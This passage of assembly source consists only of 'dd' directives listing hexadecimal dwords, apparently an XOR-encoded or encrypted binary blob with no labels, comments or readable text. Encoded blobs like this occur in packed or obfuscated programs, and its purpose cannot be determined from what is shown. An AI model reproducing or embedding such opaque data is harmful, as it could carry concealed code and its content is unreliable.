509CDB48h, 0DD9F20B3h, 0A7A7A630h, 585858A7h dd 49D03030h, 0CE66B048h, 0DDD1A7A7h, 0A7A7A60Ch, 49D00330h dd 0CE76B048h, 0C5D5A7A7h, 0A7A7A604h, 30C5D50Bh, 0BA7A7A6h dd 0A759C5D5h, 80BA7A7h, 0A60CC5D3h, 300BA7A7h, 0D858585Ah dd 0A7AE70B0h, 789CDBA7h, 0E7579ED1h, 49DA485Dh, 4DE75748h dd 4849D9FCh, 0B0DB8859h, 2D9E6152h, 59DDD549h, 8A7A7A7h dd 744DA70Fh, 0DB4858A8h, 607509Ch, 0B9B9103h, 6DE7570Eh dd 4849D93Ch, 0D8E845D3h, 9BD94849h, 365E6FE2h, 0A0ED44D1h dd 0D3484902h, 49D8C86Dh, 5F9EDB48h, 5C45E757h, 594849D9h dd 45E75786h, 4849D89Ch, 184DE757h, 0D54849DAh, 0DF6E4BC4h dd 44D14616h, 490298EDh, 0E86DD348h, 0DB4849D8h, 6D5B5A9Eh dd 4849D8B4h, 0D90845D3h, 9BD94849h, 656D243Fh, 98ED44D1h dd 57484902h, 0D9646DE7h, 6D5B4849h, 4849D9ACh, 0D97845D3h dd 9BD94849h, 0DEC2B02Bh, 0D9BC455Bh, 44D14849h, 4902D8EDh dd 6DE75748h, 4849D8A0h, 0DA606D5Bh, 45D34849h, 4849D8B8h dd 267E9BD9h, 44D1E7A5h, 4902E8EDh, 0C455D348h, 0DB4849D9h dd 4AB35BB1h, 0C86DE757h, 0DB4849D9h, 6CD150B6h, 4902D8D5h dd 0DCF91948h, 0DB4849D9h, 5D5B5098h, 4849D980h, 842A9961h dd 0F055E757h, 0D34849D8h, 49D9446Dh, 699ED948h, 5B6A651Fh dd 49D9DC6Dh, 0D56CD148h, 484902ACh, 9C55E757h, 0D34849D9h dd 49D8806Dh, 0FB9ED948h, 5B080A4Dh, 49DA746Dh, 0D56CD148h dd 484902E0h, 0D9E855D3h dd 0E7574849h, 49D9406Dh, 0A99ED948h, 0D142E809h, 294D56Ch dd 0E7574849h, 49D99C55h, 6DE75748h, 4849D960h, 6DD3A959h dd 4849D9BCh, 0DD909ED9h, 6D5B7056h, 4849D8C0h, 0E0D56CD1h dd 57484902h, 0D97055E7h, 6DD34849h, 4849D9B4h, 94849ED9h dd 6CD1BBDBh, 490284D5h, 7C55D348h, 5B4849DAh, 49D93855h dd 106DD348h, 0D94849DAh, 3285829Eh, 0E06D5B8Fh, 0D14849D8h dd 2E8D56Ch, 55D34849h, 4849D8F8h, 406DE757h, 0D34849D9h dd 49D8FC45h, 46ECD548h, 4CA05D51h, 0B4D56CD1h, 0D3484902h dd 49D92055h, 386DD348h, 0D94849D9h, 7C18239Eh, 0D56CD194h dd 484902F0h, 0D96C55D3h, 555B4849h, 4849D9B4h, 9ED986D1h dd 432FB981h, 9445E757h, 594849D8h, 0D56CD186h, 48490298h dd 6055E757h, 0D34849D9h, 49D97C6Dh, 559EDB48h, 0D9306D5Bh dd 6CD14849h, 49022CD5h, 55E75748h, 4849DA1Ch, 0FC6DE757h dd 0D34849D9h, 49D9DC45h, 46ECD548h, 0B9AFB6C3h, 0FCD56CD1h dd 0D3484902h, 49DA6055h, 5E99DB48h, 0D8B0555Bh, 6DD34849h dd 4849D88Ch, 3C139ED9h, 6D5B8A13h, 4849D9E4h, 98D56CD1h dd 6484902h, 59E09B03h, 9AD85818h, 0D10D5850h, 0B0809BDh dd 2DD30F0Eh, 5405D350h, 0D1585B9Eh, 0A790DBA9h, 5964D818h dd 0D1A12D58h, 0E757A41Dh, 49D9405Dh, 5B9FD148h, 49D90465h dd 54B7DB48h, 0EE5728B3h, 9F61481Dh, 5CD2532Ah, 2C776466h dd 2D76645Ch, 0D00D3047h, 49B04849h, 57A7A7CBh, 0A664CEEh dd 0A10DD508h, 704DA70Ah, 0DB485501h, 77B3489Ch, 49D00830h dd 0CAAAB048h, 0B08A7A7h, 0A8744DA7h, 10304858h, 0B04849D0h dd 0A7A7CAB8h, 664CEE57h, 0DD5080Ah, 4DA70AA1h, 48550170h dd 0D5449CDBh, 0B08A11Dh, 0A8744DA7h, 9CDB4858h, 25631F50h dd 7D32AA4h, 9B910306h, 0D9BDD10Dh, 585A34B4h, 0DDD50F58h dd 0A7A7A6A4h, 5DE75708h, 4849D8A4h, 85AB0DBh, 49D904F9h dd 5CB0DB48h, 0F9443208h, 4849DA7Ch, 0DA145D5Bh, 0B0DB4849h dd 4DA70852h, 485D7258h, 0A5C1DDD5h, 0B008A7A7h, 0A7A7EC73h dd 3C425DD5h, 44FB4858h, 0D5485501h, 581D6D5Dh, 22CFB48h dd 5DD54849h, 48583C42h, 5D69B8FBh, 685DD548h, 0FB485813h dd 485D69A8h, 49D06D30h, 0CA6EB048h, 0E757A7A7h, 49D96465h dd 5C655B48h, 0DB4849DAh, 0D50F5DB7h, 0A7A6A4E5h, 30080FA7h dd 485978F8h, 1704DA7h, 7E304855h, 0B04849D0h, 0A7A7CA50h dd 0D91865D3h, 655B4849h, 4849D8FCh, 0F5AB7DBh, 0A5C1E5D5h dd 0D50FA7A7h, 0A7A6A4E5h, 30080FA7h, 48516A68h, 1704DA7h dd 5DD54855h, 485978F8h, 511078FBh, 685DD548h, 0FB485110h dd 4859578Ch, 15D25DD5h, 0BCFB4858h, 0B0485D71h, 0A7A7A3BBh dd 49D920F9h, 30081848h, 485D6A58h, 0A7ECF1B0h, 0D04A30A7h dd 0C5B04849h, 0D3A7A7C9h, 49D9AC65h, 5BB7DB48h, 0A4E5D50Fh dd 0FA7A7A6h, 10683008h, 4DA74851h, 48550170h, 5957B830h dd 0A10FB048h, 0A730A7A7h, 0B04849DFh, 0A7A7C934h, 0D91465D3h dd 9FDB4849h, 0E5D50F5Ch, 0A7A7A6A4h, 1830080Fh, 0A748516Ch dd 5501704Dh, 425DD548h, 0FB48583Ch, 4859584Ch, 6C185DD5h dd 44FB4851h, 0D54858A8h, 4901285Dh, 0DA9CFB48h, 9E304849h dd 0B0485805h, 0A7A7E984h, 588FAA30h, 0E98AB048h, 6330A7A7h dd 0B04858E1h, 0A7A7E990h, 0C45DE757h, 5B4849D8h, 49D9AC5Dh dd 5DB0DB48h, 597D88FBh, 0DA10F948h, 5D5B4849h, 4849D998h dd 85CB0DBh, 0A5A5DDD5h, 0B008A7A7h, 58585C4Fh, 0F9209CDBh dd 4849D934h, 0D8C05D5Bh, 0E4D84849h, 0A7A5B75Dh, 142D3CA7h dd 0A6DDE657h, 0D3A7A7A5h, 49D9304Dh, 4E9ADB48h, 9C55E757h dd 594849D9h, 0D0887192h, 0A7A5C0DDh, 5DE757A7h, 4849DA40h dd 597D88FBh, 0DDEE5748h, 0A7A7A5C0h, 0D8FCF908h, 5D5B4849h dd 4849D990h, 857B0DBh, 0A7EE40B0h, 509CDBA7h, 5C5DE757h dd 5B4849D9h, 49D9145Dh, 5DE4D848h, 0A7A7A5A3h, 0F91D2D3Fh dd 4849D914h, 0B2DB9AD1h, 5DCCD05Ah, 0A7A7A65Dh, 0A5A6DDD5h dd 0A708A7A7h, 5958444Dh, 0CCDDD148h, 8A7A7A5h, 49012830h dd 7B94B048h, 9CDB5858h, 0D8B8F954h, 5D5B4849h, 4849D8C0h dd 0FB57B0DBh, 48597D88h, 0D9B9107h, 0B4DBBDD1h, 0F0E0B10h dd 0D55005D3h, 4902D85Dh, 0E01DD148h, 1C5DE757h, 0D14849DAh dd 0E0655B9Fh, 0DB4849D8h, 56B353B7h, 0BA89A2D1h, 2354D33Eh dd 4D14D13Eh, 0E7571F98h, 49D9605Dh, 4598DB48h, 0BC2A9F61h dd 49D9E4F9h, 5EB0DB48h, 0A7E41DD1h, 1DD3E41Dh, 58EF57E0h dd 2BE41D61h, 1DD50B57h, 0DCB00898h, 0DBA7A7CDh, 0BBB3509Ch dd 0D8E06DD3h, 0B6DB4849h, 0D149B35Ch, 0D3BA89AAh, 0D33E5415h dd 3E984D0Ch, 1E294CD1h, 49D978F9h, 4098DB48h, 0BB2A9E61h dd 91030607h, 0BDD10D9Bh, 0B14B4DBh, 0E7570F0Eh, 49DA405Dh dd 8C5D5B48h, 0DB4849D9h, 1DD150B0h, 0E07AB3A4h, 58585868h dd 0D1A43DAFh, 0E757B81Dh, 49DA1C5Dh, 5FB0DB48h, 0D1B80DD3h dd 6D084D5Ch, 1DA74851h, 0D8E8F9A4h, 98DB4849h, 0A41D6107h dd 0E757892Ah, 49D8885Dh, 5EB0DB48h, 0DC4DA708h, 30485978h dd 4849DAB0h, 49C2D030h, 0F95F3248h, 4849D9E8h, 85FB0DBh dd 49C19030h, 8C4DA748h, 0D148597Dh, 0DA78F99Bh, 0B0DB4849h dd 579B615Ah, 5859F1DDh, 0AC1DD558h, 0DAB0F908h, 0D3084849h dd 440FA760h, 5CF99BD1h, 0DB4849DAh, 9B615AB0h, 78F9552Dh dd 0DB4849DAh, 1D615AB0h, 0B15D2DACh, 58585959h, 9C5DE757h dd 5B4849D8h, 49D8B05Dh, 5FB0DB48h, 0B1A01DD1h, 58585885h dd 0D1A01DD3h, 9F3E881Dh, 585B901Dh, 89C1DD5h, 0DB902DD5h dd 0BFD148B4h, 58585CE1h, 0D3FDAB58h, 49DAB065h, 67D30F48h dd 0D1780FA7h, 0D8A8F99Bh, 5D5B4849h, 4849D934h, 6150B0DBh dd 0CFDD579Bh, 0D5585858h, 3008981Dh, 4849C2F0h, 89C1DD3h dd 4CA760D3h, 58585865h, 0F99BD158h, 4849DA74h, 0D8805D5Bh dd 0B0DB4849h, 2D9B6155h, 0BC5DD53Ch, 0D14849DAh, 0D308841Dh dd 5C0EA768h, 8E41DD5h, 49C1B030h, 841DD348h, 0A760D308h dd 5858654Ch, 9BD15858h, 0D8E44563h, 7B2D4849h, 8E01DD5h dd 49C1B030h, 0E42DA748h, 0B0982DA7h, 0A7A7E215h, 0D1489CDBh dd 1DD3EC1Dh, 68D308E4h, 0D3500EA7h, 0D308841Dh, 500EA768h dd 8981DD3h, 0EA768D3h, 9C1DD350h, 0A768D308h, 1DA7500Eh dd 0AC1DD3A0h, 57A01D61h, 0A7A74FDAh, 505DD5A7h, 0D14849DBh dd 0D308A81Dh, 5C0EA768h, 8B41DD5h, 49C18030h, 0A81DD348h dd 0A768D308h, 58586D4Ch, 1DD35858h, 68D308A8h, 0D5500EA7h dd 3008BC1Dh, 4849C180h, 0A7B42DA7h, 49DAB06Dh, 0E197B048h dd 9CDBA7A7h, 0B01DD148h, 49D9A0F9h, 4DE75748h, 4849D9C0h dd 0B0DB8859h, 0B01D615Ch, 0B0F9402Dh, 84849DAh, 0EA768D3h dd 0D914F950h, 0B0DB4849h, 0DAB0FB5Ah, 6074849h, 0D9B9103h dd 0B4D9BDD1h, 5858595Ch, 0A4DDD50Fh, 8A7A7A6h, 0A45DE757h dd 0DB4849D8h, 0F9085AB0h, 4849DA7Ch, 0CC4DE757h, 594849D8h dd 5BB0DB88h, 502DA708h, 49D978F9h, 50B0DB48h, 584DA708h dd 0D1485D72h, 2DA7519Fh, 0DFA23073h, 0ADB04849h, 8A7A7D4h dd 0A6A4E5D5h, 0A70FA7A7h, 58A8744Dh, 32593248h, 0A4DDD51Bh dd 8A7A7A6h, 0A79102B0h, 409CDBA7h, 0E09B9107h, 0D8581859h dd 0D58409Ah, 0B09BDD1h, 2DD30F0Eh, 32583250h, 325B3258h dd 30583258h, 0D8585858h dd 516A6830h, 404DA748h, 0D1484933h, 0A7A7DB9Fh, 80F9472Dh dd 0DB4849D8h, 4DD35EB0h, 4849D8F8h, 0D9E44D5Bh, 0B2DB4849h dd 5E4CD051h, 5858D1B1h, 57583258h, 0D9945DE7h, 0B0DB4849h dd 2DA70851h, 4DA70F54h, 48493768h, 49D9DCF9h, 4DE75748h dd 4849D8ECh, 0B0DB8859h, 1DD50851h, 0E75708A4h, 49D9105Dh dd 4DE75748h, 4849D91Ch, 57481CD5h, 0A70F0E08h, 58A86C4Dh dd 0F9BD148h, 11104DA7h, 0E7574851h, 49D9705Dh, 4DE75748h dd 4849D940h, 0B0DB8859h, 2D9B6155h, 0D8F4F979h, 5D5B4849h dd 4849D9BCh, 5753B0DBh, 0D89C4DE7h, 4D5B4849h, 4849D8E8h dd 0D053B2DBh, 6075E4Ch, 0D9B9103h, 0D0E0BDD1h, 0B0585958h dd 58586EF9h, 300F0E0Bh, 4849DFB4h, 0A7E7FDB0h, 0A70801A7h dd 5958544Dh, 901DD148h, 981D9F3Eh, 1DD55850h, 2DD5088Ch dd 48B4DB98h, 5CE1BFD1h, 0AB585858h, 5425D3FDh, 0A767D30Fh dd 9BD1680Fh, 49D9D0F9h, 5DB0DB48h, 5F2C9B61h, 52B19869h dd 0D558585Fh, 3008841Dh, 4849C260h, 88C1DD3h, 4CA760D3h dd 58585865h, 0F99BD158h, 4849D8B4h, 579B6110h, 585E81DDh dd 801DD558h, 841DD308h, 0A760D308h, 9BD17C0Fh, 49D8B8F9h dd 5EB0DB48h, 0DD579B61h, 58585EE9h, 49D900F9h, 5BB0DB48h dd 0B1BC1DD1h, 58585ECDh, 0D1BC1DD3h, 9F3EA81Dh, 585AB01Dh dd 8A41DD5h, 0DBB02DD5h, 0BFD148B4h, 58585CE1h, 0D5FDAB58h dd 0B4DBB02Dh, 0E1BFD148h, 5858585Ch, 25D3FDABh, 67D30F84h dd 0D1740FA7h, 0D900F99Bh, 0B0DB4849h, 579B615Bh, 585E11DDh dd 0DA5CF958h, 0E7574849h, 49D8944Dh, 0DB885948h, 0DDD15BB0h dd 0A7A6A7E4h, 0A7E4DDD5h, 3008A7A6h, 4849C210h, 8A41DD3h dd 4CA760D3h, 58585865h, 579BD158h, 0D9645DE7h, 0B0DB4849h dd 579B6151h, 585D89DDh, 0E4E5DB58h, 58A7A6A7h, 5D9CDC57h dd 1DD55858h, 0DDD308B8h, 0A7A6A7E4h, 0A760D308h, 5858A0CFh dd 519BD158h, 0FFDD5783h, 0D558585Dh, 0A6A799DDh, 2DA708A7h dd 0C3D9B0B8h, 74F9A7A7h, 0DB4849D9h, 30085FB0h, 485D6A58h dd 0A799DDD5h, 0B008A7A6h, 0A7A7E5D3h, 0D34C9CDBh, 49DA5465h dd 0A39FD948h, 5B5858A7h, 49DA6065h, 57A06148h, 585D39DCh dd 5DE75758h, 4849D9B0h, 615EB0DBh, 452D481Dh, 0A7E4DDD3h dd 0D308A7A6h, 500EA768h, 8A41DD3h, 0EA768D3h, 18986950h dd 585DD4B1h, 5DE75758h, 4849D9CCh, 0D9905D5Bh, 0B0DB4849h dd 0DCDDD151h, 0D5A7A6A7h, 0A6A7DCDDh, 303008A7h, 0D34849C2h dd 0D308A41Dh, 654CA760h, 58585858h, 0E7579BD1h, 49D8A05Dh dd 5DB0DB48h, 0DD579B61h, 58585CAAh, 0A7F3DD9Eh, 301CA7A6h dd 4849DFBAh, 0A7D19BB0h, 65E757A7h, 4849DA40h, 706DE757h dd 594849D9h, 5CB7DBAFh, 0E5D5080Fh, 0A7A6A799h, 0E495B00Fh dd 9CDBA7A7h, 6DE75748h, 4849D9C8h, 0A7AF9ED9h, 0A8615858h dd 0DD9E5F2Ch, 0A7A6A7F3h, 0DF823008h, 25B04849h, 57A7A7D1h dd 0DA5065E7h, 80F4849h, 0A799E5D5h, 0B00FA7A6h, 0A7A7E4CBh dd 0D3489CDBh, 49D8986Dh, 0A59ED948h, 615858A7h, 9E5F2CA8h dd 0A6A7F3DDh, 8A301BA7h, 0B04849DFh, 0A7A7D11Ch, 0D8B465D3h dd 655B4849h, 4849D944h, 0F5AB7DBh, 99E5D508h, 0FA7A6A7h dd 0A7E40AB0h, 489CDBA7h, 0D9E86DD3h, 0B6DB4849h, 599FD15Bh dd 0C4E5D1AFh, 0D1A7A6A7h, 0A6A7E8E5h, 0E8DDD3A7h, 0D8A7A6A7h dd 0A7995DE4h, 2C7EA7A6h, 0E8DDA750h, 0B3A7A6A7h, 0E8DDD3B0h dd 0D3A7A6A7h, 49D8FC4Dh, 5FB2DB48h, 995DCCD0h, 0D3A7A6A7h dd 0A6A7C4DDh, 5DDCD5A7h, 0A7A6A799h, 444DA708h, 0D1485958h dd 0A6A7D8DDh, 0DF9330A7h, 0E1B04849h, 57A7A7D0h, 0DA1C65E7h dd 655B4849h, 4849D9D8h, 0F5EB7DBh, 99E5D508h, 0FA7A6A7h dd 0A7E39EB0h, 4C9CDBA7h, 0D9286DD3h, 6D5B4849h, 4849D9D8h dd 599FD116h, 0C4E5D1AFh, 0D1A7A6A7h, 0A6A7E8E5h, 0E8DDD3A7h dd 0D8A7A6A7h, 0A7995DE4h, 2C7EA7A6h, 0E8DDA750h, 0B3A7A6A7h dd 0E8DDD3B0h, 0D3A7A6A7h, 49D92C4Dh, 5FB2DB48h, 995DCCD0h dd 0D3A7A6A7h, 0A6A7C4DDh, 5DDCD5A7h, 0A7A6A799h, 444DA708h dd 1485958h, 0A7FCDDD1h, 6CF9A7A6h, 5B4849DAh, 49DA545Dh dd 54B0DB48h, 0A7D8DD61h, 222FA7A6h, 49D8E4F9h, 0E0DDD148h dd 0B3A7A6A7h, 0E0E5D309h, 0D1A7A6A7h, 5ABE99A6h, 704DE757h dd 0DB4849D9h, 4C615DB2h, 5948B86Dh, 0D3752C48h, 0A6A7FCCDh dd 6D4C61A7h, 48595878h, 4CD2462Dh, 5979E865h, 0F3CD6248h dd 2DA7A6A7h, 6DE75757h, 4849DA50h, 0E56CD116h, 485948B8h dd 0A7E0DDA7h, 0E757A7A6h, 49D8F05Dh, 0A44DD348h, 0D54849D9h dd 5BB048DCh, 0DD615858h, 0A7A6A7E0h, 4DA7CB2Ah, 48490228h dd 0A7F8DDD1h, 0B4F9A7A6h, 574849D9h, 0D99C4DE7h, 88594849h dd 0D153B0DBh, 0A6A7ECDDh, 0D332B3A7h, 0A6A7ECE5h, 5ABF99A7h dd 3C6DE757h, 164849D9h, 0B8656C61h, 2C485948h, 6564D312h dd 48511108h, 0D9846DD3h, 9ED94849h, 5858B238h, 0D8984DD3h dd 5B1A4849h, 49D9F44Dh, 0AAF75748h, 0E563AF59h, 0A7A6A7F8h dd 0E5D3452Bh, 0A7A6A7ECh, 0CC6DE757h, 5B4849D9h, 49D8846Dh dd 5DB6DB48h, 0B8E56CD1h, 0A7485948h, 0A6A7ECDDh, 0D884F9A7h dd 875D4849h, 5B58585Bh, 49D88C5Dh, 0ECDD6148h, 57A7A6A7h dd 0A7A722DAh, 0DA58F9A7h, 5D5B4849h, 4849D9A4h, 0D15DB0DBh dd 0A6A7F4DDh, 0D37CB3A7h, 0A6A7F4E5h, 446DD3A7h, 5B4849D9h dd 49D9EC6Dh, 5EB6DB48h, 0B8E56C61h, 2C485948h, 0F4DDA779h dd 0F9A7A6A7h, 4849D914h, 585B855Dh, 4DE75758h, 4849D964h dd 0DD618859h, 0A7A6A7F4h, 0E5D3992Ah, 0A7A6A7F4h, 0A7FCEDD3h dd 6CD1A7A6h, 595878E5h, 502DD348h, 38E56CD1h, 0D14858A8h dd 0F3CDD2A0h, 0D0A7A6A7h, 79E85D4Ch, 0E7574859h, 49D9F05Dh dd 0C45D5B48h, 0DB4849D9h, 0DD615CB0h, 0A7A6A7D8h, 589ADE57h dd 6DD35858h, 4849D9B4h, 0A7A49ED9h, 0E7575858h, 49DA404Dh dd 3E8E5948h, 48256CD1h, 0F9485D72h, 4849D90Ch, 0DA785D5Bh dd 0B0DB4849h, 20DDD152h, 0B3A7A6A7h, 20E5D32Fh, 0D1A7A6A7h dd 5ABE99A6h, 0D90C4DD3h, 0E7574849h, 49D9C855h, 0DB925948h dd 4C6148B2h, 5948B86Dh, 57132C48h, 48254CEFh, 0D3485D72h dd 49D92055h, 0AE99D948h, 575858A7h, 0D9F05DE7h, 99594849h dd 722C9261h, 0A7FCCDD3h, 4C61A7A6h, 5958786Dh, 0D2432D48h dd 79E8654Ch, 0CD624859h, 0A7A6A7F3h, 64D5542Dh, 5D724825h dd 5FA73E48h, 0DDA763B3h, 0A7A6A720h, 49D8E0F9h, 5BBC5D48h dd 0DD615858h, 0A7A6A720h, 0A72BDA57h, 45B3A7A7h, 0A7F4E5D3h dd 6DD3A7A6h, 4849D9E4h, 0D9D06D5Bh, 0B6DB4849h, 6CD13E52h dd 5D724825h, 284DA748h, 0D3484902h, 0A6A7F4E5h, 0E55CD1A7h dd 48511108h, 0DAF06DD5h, 6CD14849h, 5948B8E5h, 0F4E5D348h dd 0D5A7A6A7h, 48B8E564h, 0E5D14859h, 0A7A6A724h, 0D308A0D1h dd 5C0EA768h, 0A7F4E5D3h, 64D5A7A6h, 5948B8E5h, 0C8E5D148h dd 3EA7A6A7h, 0A7D0DD9Fh, 5851A7A6h, 0A7D0EDD5h, 0B4DBA7A6h dd 0E1BFD148h, 5858585Ch, 0E5D3FDABh, 0A7A6A7DCh, 0A767D30Fh dd 5858FCCFh, 0D59BD158h, 0A6A7D0DDh, 4DA708A7h, 4849281Ch dd 0A7F4DDA7h, 0DDD3A7A6h, 0A7A6A7DCh, 0A768D308h, 0F8F9500Eh dd 0DB4849D9h, 0DD6150B0h, 0A7A6A7E4h, 0DDD3542Ch, 0A7A6A7E4h dd 0A768D308h, 0E757500Eh, 49DA185Dh, 50B0DB48h, 2CA41D61h dd 0A41DD351h, 0A768D308h dd 1DA7500Eh, 801DD3BCh, 57BC1D61h, 0A7A107DAh, 841DD3A7h dd 0A768D308h, 1DD3500Eh, 68D3088Ch, 69500EA7h, 3060798h dd 0D10D9B91h, 0CB4D9BDh, 0B58585Ah, 0DDD50F0Eh, 0A7A7A6B4h dd 5DE75708h, 4849D99Ch, 850B0DBh, 49D90CF9h, 50B0DB48h dd 57793208h, 0D93C5DE7h, 8104849h, 72584DA7h, 9BD1485Dh dd 0DD578351h, 5858594Dh, 8A81DD5h, 6C684DA7h, 84F94851h dd 574849D8h, 57A20DEFh, 0D3A015EFh, 49D9E445h, 6E9BDB48h dd 5993F757h, 15EF5792h, 45E757AEh, 4849D91Ch, 0D8B06DD3h dd 4D54849h, 0F7574B6Bh, 45E75793h, 4849DA18h, 576C9BDBh dd 925993F7h, 0AA15EF57h, 4045E757h, 0D34849D9h, 49D9886Dh dd 6B04D548h, 93F75757h, 0D91445D3h, 9BDB4849h, 6DE7574Dh dd 4849D910h, 0F757AB59h, 45E75793h, 4849D964h, 0D97C6DD3h dd 4D54849h, 0F757696Bh, 57925993h, 0D3A815EFh, 49D88445h dd 509BDB48h, 0D393F757h, 49D9D045h, 499BDB48h, 0D90C455Bh dd 0F7574849h, 45E75793h, 4849D8A0h, 575B1CD5h, 0F990F757h dd 4849D9E0h, 5B6C98DBh, 49D9085Dh, 90F75748h, 905988D1h dd 58A868FBh, 0DA74F948h, 5D5B4849h, 4849D9D8h, 0D15EB0DBh dd 0A7A592DDh, 0F6EDD5A7h, 0D9A7A7A5h, 585918B4h, 0E1BFD158h dd 585858C7h, 0D5FD3EABh, 0A7A6B4E5h, 9AB00FA7h, 0D9A7A7CEh dd 58591C9Ch, 3060758h, 0D10D9B91h, 4858E0BDh, 82B05858h dd 0B585875h, 0E1300F0Eh, 0B04849DFh, 0A7A7DB48h, 706DD301h dd 0DB4849DAh, 80E50B6h, 486DE757h, 0DB4849DAh, 0A70E5DB6h dd 4DA7502Dh, 48550168h, 5CF99FD1h, 0DB4849DAh, 9F615AB0h dd 25D35B2Dh, 0DFFB3050h, 8DB04849h, 1A7A7DAh, 0D9D86DD3h dd 0E7574849h, 49DA1845h, 0DB865948h, 80E50B6h, 0EC6DE757h dd 5B4849D8h, 49D9006Dh, 50B6DB48h, 4DA70F0Eh, 48550168h dd 0DDD59FD1h, 0A7A7A859h, 57A73008h, 55325858h, 404DA70Fh dd 0F94858A8h, 4849D8C8h, 0D9EC5D5Bh, 0E4D84849h, 0A7B7A15Dh dd 4B2D78A7h, 49DA54F9h, 5DE4D848h, 0A7A7B7A6h, 0C8DC5778h dd 0D5585858h, 0A7A859D5h, 0A790DBA7h, 5964D818h, 0D3A12D58h dd 49D8B445h, 549BDB48h, 2B2A8061h, 49D8F4F9h, 5DE4D848h dd 0A7A7B7A2h, 0F9572D30h, 4849DA14h, 0A15DE4D8h, 2CA7A7B7h dd 0C6300D2Ch, 0B04849DFh, 0A7A7DA7Ch, 3C6DE757h, 0DB4849D9h dd 80E5B9Eh, 0A859EDD5h, 0B00EA7A7h, 0A7A7ED6Fh, 57489CDBh dd 0D8F045E7h, 9BD94849h, 5858A7A7h, 472D8061h, 49DFC030h dd 0D9B6B048h, 801A7A7h, 0D9BC6DD3h, 0B6DB4849h, 54320E5Ch dd 404DA70Fh, 74858A8h, 9B910306h, 0FBDD10Dh, 0A7502DA7h dd 49DA006Dh, 0F44DA748h, 0D1485979h, 9B05079Fh, 0B0BDD10Dh dd 0A7A7A576h, 49DA5CF9h, 2E98DB48h, 0D8B84DD3h, 9AD94849h dd 5858B200h, 0D97C4D5Bh, 0F7574849h, 4DA7089Ah, 4855017Ch dd 58CB301h, 0D585C9Ah, 4CE0BDD1h, 0B0585F47h, 58587461h dd 0D50F0E0Bh, 0A3A9D8DDh, 4DA708A7h, 4858A810h, 0A934DDD5h dd 0D508A7A3h, 0A3A9D8DDh, 513208A7h, 49D9BCF9h, 5CB0DB48h dd 502DA708h, 6A7C4DA7h, 9BD14851h, 49D958F9h, 785D5B48h dd 0DB4849DAh, 9B6153B0h, 5658DD57h, 0B8F95858h, 0DB4849D8h dd 0DDD15EB0h, 0A7A3A9F8h, 0A9D0D5D3h, 0D5D1A7A3h, 0A7A3A9C4h dd 0A9F8D5D5h, 3009A7A3h, 4849C2F0h, 0A9C4DDD3h, 0D308A7A3h dd 654CA760h, 58585858h, 6CF99BD1h, 5B4849DAh, 49D9145Dh dd 52B0DB48h, 0DD579B61h, 585855EAh, 0A924DDD5h, 0D308A7A3h dd 0A3A9F8DDh, 60D308A7h, 0D1200FA7h, 0D8E4F99Bh, 5D5B4849h dd 4849D9B8h, 615CB0DBh, 23DD579Bh, 0D5585855h, 0A3A9F1DDh dd 0EDA708A7h, 0A7A3A924h, 0A7C9F6B0h, 509CDBA7h, 0D11F9FD1h dd 0A3A930E5h, 24EDA7A7h, 0A7A7A3A9h, 49376C4Dh, 0F1E5D848h dd 30A7A3A9h, 0E5D8432Dh, 0A7A3A9F2h, 0D84A2D2Ch, 0A3A9F3E5h dd 512D2CA7h, 0A9F4E5D8h, 2C28A7A3h, 5570B15Dh, 0DDD55858h dd 0A7A4A9ECh, 0F8DDD308h, 8A7A3A9h, 0CFA760D3h, 585858CCh dd 0DCF99BD1h, 5B4849D9h, 49D9D45Dh, 5DB0DB48h, 492C9B61h dd 49D9D8F9h, 0E45D5B48h, 0D14849D8h, 0A4A9ECDDh, 0C0DDD5A7h dd 8A7A3A9h, 0A9F8DDD3h, 0D308A7A3h, 100FA760h, 68F99BD1h dd 104849D9h, 0DD579B61h, 58585492h, 0A9CCDDD5h, 3008A7A3h dd 4849C270h, 0A9C0DDD3h, 0D308A7A3h, 654CA760h, 58585858h dd 54F99BD1h, 0DB4849D9h, 9B615AB0h, 54C8DD57h, 0DDD55858h dd 0A7A3A9C8h, 0CCDDD308h, 8A7A3A9h, 0FA760D3h, 0F99BD104h dd 4849D97Ch, 0D8C85D5Bh, 0B0DB4849h, 579B615Eh, 585401DDh dd 28DDD558h, 8A7A3A9h, 0A9C8DDD3h, 0D308A7A3h, 780FA760h dd 98F99BD1h, 5B4849D9h, 49DA585Dh, 5EB0DB48h, 0DD579B61h dd 5858547Ah, 49D98CF9h, 645D5B48h, 0DB4849DAh, 80AF5FB0h dd 0A9FCDDD1h, 0D030A7A3h, 0B04849DFh, 0A7A7EB6Ah, 544DA708h dd 0D1485958h, 0A4A9E4DDh, 0DF2C30A7h, 43B04849h, 8A7A7EBh dd 58544DA7h, 0DDD14859h, 0A7A4A9E0h, 0C45DE757h, 0D34849D8h dd 49DA744Dh, 5FB2DB48h, 0E45DCCD0h, 0F9A7A4AAh, 4849D8B8h dd 0D9285D5Bh, 0DC9E4849h, 0A4AAEE5Dh, 10F91CA7h, 574849DAh dd 0D8944DE7h, 88594849h, 0E45DDC9Eh, 24A7A4AAh, 0A9F1DDD5h dd 0D508A7A3h, 0A4AA98DDh, 4DA708A7h, 4858A874h, 57489CDBh dd 0D9CC5DE7h, 0D1104849h, 0A3A92CDDh, 0D94CF9A7h, 5D5B4849h dd 4849D908h, 0D15DB0DBh, 0A3A920DDh, 5DE757A7h, 4849D93Ch dd 0D9E45D5Bh, 0B0DB4849h, 6180AF5Eh, 0A3A9FCDDh, 0D51F2DA7h dd 0A4A9F4DDh, 0DDD308A7h, 0A7A3A9CCh, 0A760D308h, 9BD1600Fh dd 485DE757h, 0DB4849DAh, 9B615DB0h, 52BEDD57h, 3B305858h dd 0B04849DFh, 0A7A72624h, 98E5D508h, 0FA7A4AAh, 0A8744DA7h dd 9CDB4858h, 5944B154h, 9F3E5858h, 0A3A900DDh, 0D3584FA7h dd 0A3A9FCDDh, 38DDD1A7h, 0D5A7A3A9h, 0A3A910DDh, 0DDD508A7h dd 0A7A3A900h, 0C8DDD308h, 8A7A3A9h, 0EA768D3h, 20DDD544h dd 8A7A3A9h, 49C22030h, 8EDA748h, 0D3A7A3A9h, 0A3A908E5h dd 0A767D3A7h, 5858654Ch, 9BD15858h, 49D9A0F9h, 0DC5D5B48h dd 0DB4849D9h, 9B615FB0h, 5206DD57h, 0DDD55858h, 0A7A3A92Ch dd 20DDD308h, 8A7A3A9h, 0CFA760D3h, 58585888h, 60F99BD1h dd 5B4849DAh, 49DA445Dh, 5CB0DB48h, 492C9B61h, 0A920DDD3h dd 0D308A7A3h, 500EA768h, 58527BB1h, 0F4DDD558h, 8A7A4A9h dd 0A92CDDD3h, 